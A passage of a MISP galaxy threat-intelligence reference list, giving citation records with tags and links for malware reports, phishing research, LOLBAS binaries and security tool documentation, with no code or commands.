Assaf Morag. (2024, August 19). PG_MEM: A Malware Hidden in the Postgres Processes. Retrieved January 31, 2025.

The tag is: *misp-galaxy:references="aquasec-postgres-processes"*

Table 22451. Table References

Links
https://www.aquasec.com/blog/pg_mem-a-malware-hidden-in-the-postgres-processes/

Volatility Phalanx2

Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.

The tag is: *misp-galaxy:references="Volatility Phalanx2"*

Table 22452. Table References

Links
https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html

Prevailion EvilNum May 2020

Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Prevailion EvilNum May 2020"*

Table 22453. Table References

Links
https://web.archive.org/web/20221209052853/https://www.prevailion.com/phantom-in-the-command-shell-2/

Netcraft SendGrid 2024

Graham Edgecombe. (2024, February 7). Phishception – SendGrid is abused to host phishing attacks impersonating itself. Retrieved October 15, 2024.

The tag is: *misp-galaxy:references="Netcraft SendGrid 2024"*

Table 22454. Table References

Links
https://www.netcraft.com/blog/popular-email-platform-used-to-impersonate-itself/

ryhanson phishery SEPT 2016

Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018.

The tag is: *misp-galaxy:references="ryhanson phishery SEPT 2016"*

Table 22455. Table References

Links
https://github.com/ryhanson/phishery

GitHub Phishery

Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020.

The tag is: *misp-galaxy:references="GitHub Phishery"*

Table 22456. Table References

Links
https://github.com/ryhanson/phishery

ANSSI Nobelium Phishing December 2021

ANSSI. (2021, December 6). PHISHING CAMPAIGNS BY THE NOBELIUM INTRUSION SET. Retrieved April 13, 2022.

The tag is: *misp-galaxy:references="ANSSI Nobelium Phishing December 2021"*

Table 22457. Table References

Links
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-011.pdf

QR-campaign-energy-firm

Jonathan Greig. (2023, August 16). Phishing campaign used QR codes to target large energy company. Retrieved November 27, 2023.

The tag is: *misp-galaxy:references="QR-campaign-energy-firm"*

Table 22458. Table References

Links
https://therecord.media/phishing-campaign-used-qr-codes-to-target-energy-firm

Bleeping Computer SVG Smuggling 2024

Lawrence Abrams. (2024, November 17). Phishing emails increasingly use SVG attachments to evade detection. Retrieved March 25, 2025.

The tag is: *misp-galaxy:references="Bleeping Computer SVG Smuggling 2024"*

Table 22459. Table References

Links
https://www.bleepingcomputer.com/news/security/phishing-emails-increasingly-use-svg-attachments-to-evade-detection/

Enigma Phishing for Credentials Jan 2015

Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.

The tag is: *misp-galaxy:references="Enigma Phishing for Credentials Jan 2015"*

Table 22460. Table References

Links
https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/

KISA Operation Muzabi

KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.

The tag is: *misp-galaxy:references="KISA Operation Muzabi"*

Table 22461. Table References

Links
https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf

Staaldraad Phishing with OAuth 2017

Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.

The tag is: *misp-galaxy:references="Staaldraad Phishing with OAuth 2017"*

Table 22462. Table References

Links
https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/

phobos_virustotal

Phobos Ransomware. (2020, December 30). Phobos Ransomware, Fast.exe. Retrieved September 20, 2021.

The tag is: *misp-galaxy:references="phobos_virustotal"*

Table 22463. Table References

Links
https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection

Deep Instinct PhonyC2 June 2023

Simon Kenin. (2023, June 29). PhonyC2: Revealing a New Malicious Command & Control Framework by MuddyWater. Retrieved October 10, 2023.

The tag is: *misp-galaxy:references="Deep Instinct PhonyC2 June 2023"*

Table 22464. Table References

Links
https://www.deepinstinct.com/blog/phonyc2-revealing-a-new-malicious-command-control-framework-by-muddywater

Talos Remcos Aug 2018

Brumaghin, E., Unterbrink, H. (2018, August 22). Picking Apart Remcos Botnet-In-A-Box. Retrieved November 6, 2018.

The tag is: *misp-galaxy:references="Talos Remcos Aug 2018"*

Table 22465. Table References

Links
https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html

FireEye FIN6 Apr 2019

McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.

The tag is: *misp-galaxy:references="FireEye FIN6 Apr 2019"*

Table 22466. Table References

Links
https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html

Picus Labs Proc cump 2022

Huseyin Can YUCEEL & Picus Labs. (2022, March 22). Retrieved March 31, 2023.

The tag is: *misp-galaxy:references="Picus Labs Proc cump 2022"*

Table 22467. Table References

Links
https://www.picussecurity.com/resource/the-mitre-attck-t1003-os-credential-dumping-technique-and-its-adversary-use

wired-pig butchering

Lily Hay Newman. (n.d.). ‘Pig Butchering’ Scams Are Now a $3 Billion Threat. Retrieved August 18, 2023.

The tag is: *misp-galaxy:references="wired-pig butchering"*

Table 22468. Table References

Links
https://www.wired.com/story/pig-butchering-fbi-ic3-2022-report/

Logpoint Pikabot 2024

Swachchhanda Shrawan Poudel. (2024, February). Pikabot: A Sophisticated and Modular Backdoor Trojan with Advanced Evasion Techniques. Retrieved July 12, 2024.

The tag is: *misp-galaxy:references="Logpoint Pikabot 2024"*

Table 22469. Table References

Links
https://www.logpoint.com/wp-content/uploads/2024/02/logpoint-etpr-pikabot.pdf

Malwarebytes Pikabot December 15 2023

Jérôme Segura. (2023, December 15). PikaBot distributed via malicious search ads. Retrieved January 11, 2023.

The tag is: *misp-galaxy:references="Malwarebytes Pikabot December 15 2023"*

Table 22470. Table References

Links
https://www.malwarebytes.com/blog/threat-intelligence/2023/12/pikabot-distributed-via-malicious-ads

Elastic Pikabot 2024

Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.

The tag is: *misp-galaxy:references="Elastic Pikabot 2024"*

Table 22471. Table References

Links
https://www.elastic.co/security-labs/pikabot-i-choose-you

Trustwave Pillowmint June 2020

Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7's Monkey Thief . Retrieved July 27, 2020.

The tag is: *misp-galaxy:references="Trustwave Pillowmint June 2020"*

Table 22472. Table References

Links
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/

TechNet Ping

Microsoft. (n.d.). Ping. Retrieved April 8, 2016.

The tag is: *misp-galaxy:references="TechNet Ping"*

Table 22473. Table References

Links
https://technet.microsoft.com/en-us/library/bb490968.aspx

Pass The Cookie

Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.

The tag is: *misp-galaxy:references="Pass The Cookie"*

Table 22474. Table References

Links
https://wunderwuzzi23.github.io/blog/passthecookie.html

Trustwave SVG Smuggling 2025

Bernard Bautista and Kevin Adriano. (2025, April 10). Pixel-Perfect Trap: The Surge of SVG-Borne Phishing Attacks. Retrieved April 14, 2025.

The tag is: *misp-galaxy:references="Trustwave SVG Smuggling 2025"*

Table 22475. Table References

Links
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pixel-perfect-trap-the-surge-of-svg-borne-phishing-attacks/

Pktmon.exe - LOLBAS Project

LOLBAS. (2020, August 12). Pktmon.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Pktmon.exe - LOLBAS Project"*

Table 22476. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Pktmon/

Osanda Stealing NetNTLM Hashes

Osanda Malith Jayathissa. (2017, March 24). Places of Interest in Stealing NetNTLM Hashes. Retrieved January 26, 2018.

The tag is: *misp-galaxy:references="Osanda Stealing NetNTLM Hashes"*

Table 22477. Table References

Links
https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/

Microsoft PLATINUM June 2017

Kaplan, D, et al. (2017, June 7). PLATINUM continues to evolve, find ways to maintain invisibility. Retrieved February 19, 2018.

The tag is: *misp-galaxy:references="Microsoft PLATINUM June 2017"*

Table 22478. Table References

Links
https://cloudblogs.microsoft.com/microsoftsecure/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/?source=mmpc

Microsoft PLATINUM April 2016

Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.

The tag is: *misp-galaxy:references="Microsoft PLATINUM April 2016"*

Table 22479. Table References

Links

https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf

Forcepoint Felismus Mar 2017

Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.

The tag is: *misp-galaxy:references="Forcepoint Felismus Mar 2017"*

Table 22480. Table References

Links
https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware

TrendMicro Play

Cj Arsley Mateo, Darrel Tristan Virtusio, Sarah Pearl Camiling, Andrei Alimboyao, Nathaniel Morales, Jacob Santos, Earl John Bareng. (2024, July 19). Play Ransomware Group's New Linux Variant Targets ESXi, Shows Ties With Prolific Puma. Retrieved March 26, 2025.

The tag is: *misp-galaxy:references="TrendMicro Play"*

Table 22481. Table References

Links
https://www.trendmicro.com/en_us/research/24/g/new-play-ransomware-linux-variant-targets-esxi-shows-ties-with-p.html

Symantec Play Ransomware April 19 2023

Symantec Threat Hunter Team. (2023, April 19). Play Ransomware Group Using New Custom Data-Gathering Tools. Retrieved August 10, 2023.

The tag is: *misp-galaxy:references="Symantec Play Ransomware April 19 2023"*

Table 22482. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/play-ransomware-volume-shadow-copy

Trend Micro Play Ransomware September 06 2022

Don Ovid Ladores, Lucas Silva, Scott Burden, Janus Agcaoili, Ivan Nicole Chavez, Ian Kenefick, Ieriz Nicolle Gonzalez, Paul Pajares. (2022, September 6). Play Ransomware's Attack Playbook Similar to that of Hive, Nokoyawa. Retrieved September 21, 2023.

The tag is: *misp-galaxy:references="Trend Micro Play Ransomware September 06 2022"*

Table 22483. Table References

Links
https://www.trendmicro.com/es_es/research/22/i/play-ransomware-s-attack-playbook-unmasks-it-as-another-hive-aff.html

Trend Micro Play Playbook September 06 2022

Don Ovid Ladores, Lucas Silva, Scott Burden, Janus Agcaoili, Ivan Nicole Chavez, Ian Kenefick, Ieriz Nicolle Gonzalez, Paul Pajares. (2022, September 6). Play Ransomware's Attack Playbook Similar to that of Hive, Nokoyawa. Retrieved August 10, 2023.

The tag is: *misp-galaxy:references="Trend Micro Play Playbook September 06 2022"*

Table 22484. Table References

Links
https://www.trendmicro.com/en_us/research/22/i/play-ransomware-s-attack-playbook-unmasks-it-as-another-hive-aff.html

JPCert PLEAD Downloader June 2018

Tomonaga, S. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020.

The tag is: *misp-galaxy:references="JPCert PLEAD Downloader June 2018"*

Table 22485. Table References

Links
https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html

Trend Micro PLEAD RTLO

Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019.

The tag is: *misp-galaxy:references="Trend Micro PLEAD RTLO"*

Table 22486. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/

fileinfo plist file description

FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021.

The tag is: *misp-galaxy:references="fileinfo plist file description"*

Table 22487. Table References

Links
https://fileinfo.com/extension/plist

ESET PlushDaemon January 22 2025

Facundo Muñoz. (2025, January 22). PlushDaemon compromises supply chain of Korean VPN service. Retrieved January 28, 2025.

The tag is: *misp-galaxy:references="ESET PlushDaemon January 22 2025"*

Table 22488. Table References

Links
https://www.welivesecurity.com/en/eset-research/plushdaemon-compromises-supply-chain-korean-vpn-service/

Pnputil.exe - LOLBAS Project

LOLBAS. (2020, December 25). Pnputil.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Pnputil.exe - LOLBAS Project"*

Table 22489. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Pnputil/

uptycs Fake POC linux malware 2023

Nischay Hegde and Siddartha Malladi. (2023, July 12). PoC Exploit: Fake Proof of Concept with Backdoor Malware. Retrieved September 28, 2023.

The tag is: *misp-galaxy:references="uptycs Fake POC linux malware 2023"*

Table 22490. Table References

Links
https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware

GitHub SIP POC Sept 2017

Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.

The tag is: *misp-galaxy:references="GitHub SIP POC Sept 2017"*

Table 22491. Table References

Links
https://github.com/mattifestation/PoCSubjectInterfacePackage

Kube Pod

kubenetes. (n.d.). Pod v1 core. Retrieved October 13, 2021.

The tag is: *misp-galaxy:references="Kube Pod"*

Table 22492. Table References

Links
https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.19/#pod-v1-core

PoetRat Lua

Mercer, Warren. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves. Retrieved August 5, 2024.

The tag is: *misp-galaxy:references="PoetRat Lua"*

Table 22493. Table References

Links
https://blog.talosintelligence.com/poetrat-update/

Talos PoetRAT October 2020

Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021.

The tag is: *misp-galaxy:references="Talos PoetRAT October 2020"*

Table 22494. Table References

Links
https://blog.talosintelligence.com/2020/10/poetrat-update.html

Talos PoetRAT April 2020

Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020.

The tag is: *misp-galaxy:references="Talos PoetRAT April 2020"*

Table 22495. Table References

Links
https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html

Talos Zeus Panda Nov 2017

Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.

The tag is: *misp-galaxy:references="Talos Zeus Panda Nov 2017"*

Table 22496. Table References

Links
https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More

FireEye Poison Ivy

FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved September 19, 2024.

The tag is: *misp-galaxy:references="FireEye Poison Ivy"*

Table 22497. Table References

Links
https://www.mandiant.com/sites/default/files/2021-09/rpt-poison-ivy.pdf

Umbreon Trend Micro

Fernando Mercês. (2016, September 5). Pokémon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.

The tag is: *misp-galaxy:references="Umbreon Trend Micro"*

Table 22498. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046

AWS IAM Policies and Permissions

AWS. (n.d.). Policies and permissions in IAM. Retrieved April 1, 2022.

The tag is: *misp-galaxy:references="AWS IAM Policies and Permissions"*

Table 22499. Table References

Links
https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html

EnableMPRNotifications

Microsoft. (2023, January 26). Policy CSP - WindowsLogon. Retrieved March 30, 2023.

The tag is: *misp-galaxy:references="EnableMPRNotifications"*

Table 22500. Table References

Links
https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-windowslogon

EclecticIQ March 1 2022

EclecticIQ. (2022, March 1). Polish Healthcare Industry Targeted by Vidar Infostealer Likely Linked to Djvu Ransomware. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="EclecticIQ March 1 2022"*

Table 22501. Table References

Links
https://blog.eclecticiq.com/polish-healthcare-industry-targeted-by-vidar-infostealer-likely-linked-to-djvu-ransomware

Microsoft DirSync

Microsoft. (n.d.). Polling for Changes Using the DirSync Control. Retrieved March 30, 2018.

The tag is: *misp-galaxy:references="Microsoft DirSync"*

Table 22502. Table References

Links
https://msdn.microsoft.com/en-us/library/ms677626.aspx

Polyglot Files: a Hacker’s best friend

Li, V. (2019, October 2). Polyglot Files: a Hacker’s best friend. Retrieved September 27, 2022.

The tag is: *misp-galaxy:references="Polyglot Files: a Hacker’s best friend"*

Table 22503. Table References

Links
https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

CheckPoint Redaman October 2019

Eisenkraft, K., Olshtein, A. (2019, October 17). Pony’s C&C servers hidden inside the Bitcoin blockchain. Retrieved June 15, 2020.

The tag is: *misp-galaxy:references="CheckPoint Redaman October 2019"*

Table 22504. Table References

Links
https://research.checkpoint.com/2019/ponys-cc-servers-hidden-inside-the-bitcoin-blockchain/

Kaspersky Poseidon Group

Kaspersky Lab’s Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.

The tag is: *misp-galaxy:references="Kaspersky Poseidon Group"*

Table 22505. Table References

Links
https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/

Breach Post-mortem SSH Hijack

Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Breach Post-mortem SSH Hijack"*

Table 22506. Table References

Links
https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident/

Elastic Docs Potential Protocol Tunneling via EarthWorm

Elastic. (n.d.). Potential Protocol Tunneling via EarthWorm. Retrieved July 7, 2023.

The tag is: *misp-galaxy:references="Elastic Docs Potential Protocol Tunneling via EarthWorm"*

Table 22507. Table References

Links
https://www.elastic.co/guide/en/security/current/potential-protocol-tunneling-via-earthworm.html

sus mofcomp

detection.fyi. (2023, October 28). Potential Suspicious Mofcomp Execution. Retrieved February 9, 2024.

The tag is: *misp-galaxy:references="sus mofcomp"*

Table 22508. Table References

Links
https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_mofcomp_execution/

Watchtowr Labs - Blog November 19 2024

Sonny. (2024, November 19). Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474. Retrieved December 2, 2024.

The tag is: *misp-galaxy:references="Watchtowr Labs - Blog November 19 2024"*

Table 22509. Table References

Links
https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

This is Security Command Line Confusion

1. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018.

The tag is: *misp-galaxy:references="This is Security Command Line Confusion"*

Table 22510. Table References

Links
https://www.stormshield.com/news/poweliks-command-line-confusion/

TrendMicro POWELIKS AUG 2014

Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows Registry. Retrieved August 9, 2018.

The tag is: *misp-galaxy:references="TrendMicro POWELIKS AUG 2014"*

Table 22511. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/

Microsoft: Powercfg command-line options

Microsoft. (2021, December 15). Powercfg command-line options. Retrieved June 5, 2023.

The tag is: *misp-galaxy:references="Microsoft: Powercfg command-line options"*

Table 22512. Table References

Links
https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/powercfg-command-line-options?adlt=strict

Volexity PowerDuke November 2016

Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.

The tag is: *misp-galaxy:references="Volexity PowerDuke November 2016"*

Table 22513. Table References

Links
https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/

Cybereason PowerLess February 2022

Cybereason Nocturnus. (2022, February 1). PowerLess Trojan: Iranian APT Phosphorus Adds New PowerShell Backdoor for Espionage. Retrieved June 1, 2022.

The tag is: *misp-galaxy:references="Cybereason PowerLess February 2022"*

Table 22514. Table References

Links

https://www.cybereason.com/blog/research/powerless-trojan-iranian-apt-phosphorus-adds-new-powershell-backdoor-for-espionage

MalwareTech Power Loader Aug 2013

MalwareTech. (2013, August 13). PowerLoader Injection – Something truly amazing. Retrieved December 16, 2017.

The tag is: *misp-galaxy:references="MalwareTech Power Loader Aug 2013"*

Table 22515. Table References

Links
https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html

Powerpnt.exe - LOLBAS Project

LOLBAS. (2019, July 19). Powerpnt.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Powerpnt.exe - LOLBAS Project"*

Table 22516. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Powerpnt/

Sophos PowerShell Command History Forensics

Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Sophos PowerShell Command History Forensics"*

Table 22517. Table References

Links
https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics

Microsoft PowerShell CLM

PowerShell Team. (2017, November 2). PowerShell Constrained Language Mode. Retrieved March 27, 2023.

The tag is: *misp-galaxy:references="Microsoft PowerShell CLM"*

Table 22518. Table References

Links
https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/

SensePost PS DDE May 2016

El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.

The tag is: *misp-galaxy:references="SensePost PS DDE May 2016"*

Table 22519. Table References

Links
https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/

Cantoris Computing

Cantoris. (2016, July 22). PowerShell Malware. Retrieved December 12, 2024.

The tag is: *misp-galaxy:references="Cantoris Computing"*

Table 22520. Table References

Links
https://cantoriscomputing.wordpress.com/2016/07/22/powershell-malware/

Powersploit

PowerSploit. (n.d.). Retrieved December 4, 2014.

The tag is: *misp-galaxy:references="Powersploit"*

Table 22521. Table References

Links
https://github.com/mattifestation/PowerSploit

PowerSploit Documentation

PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.

The tag is: *misp-galaxy:references="PowerSploit Documentation"*

Table 22522. Table References

Links
http://powersploit.readthedocs.io

PowerShellMagazine PowerSploit July 2014

Graeber, M. (2014, July 8). PowerSploit. Retrieved February 6, 2018.

The tag is: *misp-galaxy:references="PowerShellMagazine PowerSploit July 2014"*

Table 22523. Table References

Links
http://www.powershellmagazine.com/2014/07/08/powersploit/

GitHub PowerSploit May 2012

PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.

The tag is: *misp-galaxy:references="GitHub PowerSploit May 2012"*

Table 22524. Table References

Links
https://github.com/PowerShellMafia/PowerSploit

byt3bl33d3r NTLM Relaying

Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.

The tag is: *misp-galaxy:references="byt3bl33d3r NTLM Relaying"*

Table 22525. Table References

Links
https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html

U.S. CISA Volt Typhoon February 7 2024

Cybersecurity and Infrastructure Security Agency. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved February 9, 2024.

The tag is: *misp-galaxy:references="U.S. CISA Volt Typhoon February 7 2024"*

Table 22526. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-038a

Zimbra Preauth

Zimbra. (2023, March 16). Preauth. Retrieved May 31, 2023.

The tag is: *misp-galaxy:references="Zimbra Preauth"*

Table 22527. Table References

Links
https://wiki.zimbra.com/wiki/Preauth

Microsoft Preauthentication Jul 2012

Microsoft. (2012, July 18). Preauthentication. Retrieved August 24, 2020.

The tag is: *misp-galaxy:references="Microsoft Preauthentication Jul 2012"*

Table 22528. Table References

Links
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc961961(v=technet.10)?redirectedfrom=MSDN

Binding Hook Predatory Sparrow December 9 2024

James Shires, Max Smeets, Hannah-Sophie Weber. (2024, December 9). Predatory Sparrow: cyber sabotage with a conscience?. Retrieved June 20, 2025.

The tag is: *misp-galaxy:references="Binding Hook Predatory Sparrow December 9 2024"*

Table 22529. Table References

Links
https://bindinghook.com/articles-binding-edge/predatory-sparrow-cyber-sabotage-with-a-conscience/

BBC News July 10 2022

Joe Tidy. (2022, July 10). Predatory Sparrow Who are the hackers who say they started a fire in Iran. Retrieved June 20, 2025.

The tag is: *misp-galaxy:references="BBC News July 10 2022"*

Table 22530. Table References

Links
https://www.bbc.com/news/technology-62072480

Elastic Predicting DGA

Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019.

The tag is: *misp-galaxy:references="Elastic Predicting DGA"*

Table 22531. Table References

Links
https://arxiv.org/pdf/1611.00791.pdf

WithSecure SystemBC May 10 2021

Callum Roxan, Sami Ruohonen. (2021, May 10). Prelude to Ransomware: SystemBC. Retrieved September 21, 2023.

The tag is: *misp-galaxy:references="WithSecure SystemBC May 10 2021"*

Table 22532. Table References

Links
https://labs.withsecure.com/publications/prelude-to-ransomware-systembc

URI

Michael Cobb. (2007, October 11). Preparing for uniform resource identifier (URI) exploits. Retrieved February 9, 2024.

The tag is: *misp-galaxy:references="URI"*

Table 22533. Table References

Links
https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits

Presentationhost.exe - LOLBAS Project

LOLBAS. (2018, May 25). Presentationhost.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Presentationhost.exe - LOLBAS Project"*

Table 22534. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Presentationhost/

Microsoft Sub Takeover 2020

Microsoft. (2020, September 29). Prevent dangling DNS entries and avoid subdomain takeover. Retrieved October 12, 2020.

The tag is: *misp-galaxy:references="Microsoft Sub Takeover 2020"*

Table 22535. Table References

Links
https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover

Microsoft Preventing SMB

Microsoft. (2020, March 10). Preventing SMB traffic from lateral connections and entering or leaving the network. Retrieved June 1, 2020.

The tag is: *misp-galaxy:references="Microsoft Preventing SMB"*

Table 22536. Table References

Links
https://support.microsoft.com/en-us/help/3185535/preventing-smb-traffic-from-lateral-connections

Palo Alto Prince of Persia

Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia – Game Over. Retrieved July 5, 2017.

The tag is: *misp-galaxy:references="Palo Alto Prince of Persia"*

Table 22537. Table References

Links
https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/

PrintBrm.exe - LOLBAS Project

LOLBAS. (2021, June 21). PrintBrm.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="PrintBrm.exe - LOLBAS Project"*

Table 22538. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/PrintBrm/

Print.exe - LOLBAS Project

LOLBAS. (2018, May 25). Print.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Print.exe - LOLBAS Project"*

Table 22539. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Print/

GeeksforGeeks January 16 2019

H HardeepSingh Follow Improve. (2019, January 16). printf command in Linux with Examples - GeeksforGeeks. Retrieved December 12, 2024.

The tag is: *misp-galaxy:references="GeeksforGeeks January 16 2019"*

Table 22540. Table References

Links
https://www.geeksforgeeks.org/printf-command-in-linux-with-examples/

PrivateLoader: The first step in many malware schemes | Intel471

Intel471. (2022, February 8). PrivateLoader: The first step in many malware schemes. Retrieved May 15, 2023.

The tag is: *misp-galaxy:references="PrivateLoader: The first step in many malware schemes | Intel471"*

Table 22541. Table References

Links
https://intel471.com/blog/privateloader-malware

Rhingo Security Labs GCP Privilege Escalation

Spencer Gietzen. (n.d.). Privilege Escalation in Google Cloud Platform – Part 1 (IAM). Retrieved May 27, 2022.

The tag is: *misp-galaxy:references="Rhingo Security Labs GCP Privilege Escalation"*

Table 22542. Table References

Links
https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/

Rhino Google Cloud Privilege Escalation

Spencer Gietzen. (n.d.). Privilege Escalation in Google Cloud Platform – Part 1 (IAM). Retrieved September 21, 2023.

The tag is: *misp-galaxy:references="Rhino Google Cloud Privilege Escalation"*

Table 22543. Table References

Links
https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/

FireEye APT19

Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.

The tag is: *misp-galaxy:references="FireEye APT19"*

Table 22544. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html

Anomali Static Kitten February 2021

Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.

The tag is: *misp-galaxy:references="Anomali Static Kitten February 2021"*

Table 22545. Table References

Links
